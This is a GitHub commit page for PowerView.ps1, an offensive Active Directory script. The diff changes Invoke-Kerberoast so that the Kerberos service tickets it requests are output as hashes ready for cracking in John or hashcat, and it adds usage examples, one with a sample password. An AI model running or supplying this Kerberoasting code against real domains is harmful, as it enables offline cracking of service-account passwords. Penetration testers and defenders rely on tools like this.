Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 3f7a32d

Browse files
committed
Get-DomainSPNTicket/Invoke-Kerberoast now include 'real' user data in the hash output.
Added a bit more error handling when requesting the SPN kerberos ticket.
1 parent 8552033 commit 3f7a32d

File tree

1 file changed

+19
-5
lines changed

1 file changed

+19
-5
lines changed

Recon/PowerView.ps1

Lines changed: 19 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -2305,7 +2305,12 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
23052305
$UserSPN = $UserSPN[0]
23062306
}
23072307

2308-
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
2308+
try {
2309+
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN
2310+
}
2311+
catch {
2312+
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName'"
2313+
}
23092314
if ($Ticket) {
23102315
$TicketByteStream = $Ticket.GetRequest()
23112316
}
@@ -2322,11 +2327,13 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
23222327
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
23232328

23242329
if ($OutputFormat -match 'John') {
2325-
$HashFormat = "`$krb5tgs`$unknown:$Hash"
2330+
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
23262331
}
23272332
else {
2333+
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
2334+
23282335
# hashcat output format
2329-
$HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdsa,DC=pf,DC=fakedomain,DC=com SPN: E0518235-4B06-11D1-AB04-00C04FDS3CD2-BADM/aksjdb.asdsa.pf.fakedomain.com:50000 *' + $Hash
2336+
$HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
23302337
}
23312338
$Out | Add-Member Noteproperty 'Hash' $HashFormat
23322339
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
@@ -2413,15 +2420,22 @@ for connection to the target domain.
24132420

24142421
Invoke-Kerberoast | fl
24152422

2423+
Kerberoasts all found SPNs for the current domain.
2424+
24162425
.EXAMPLE
24172426

2418-
Invoke-Kerberoast -Domain dev.testlab.local | fl
2427+
Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl
2428+
2429+
Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat
2430+
format instead of John (the default).
24192431

24202432
.EXAMPLE
24212433

24222434
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
24232435
$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)
2424-
Invoke-Kerberoast -Credential $Cred -Verbose | fl
2436+
Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl
2437+
2438+
Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.
24252439

24262440
.OUTPUTS
24272441

0 commit comments

Comments
 (0)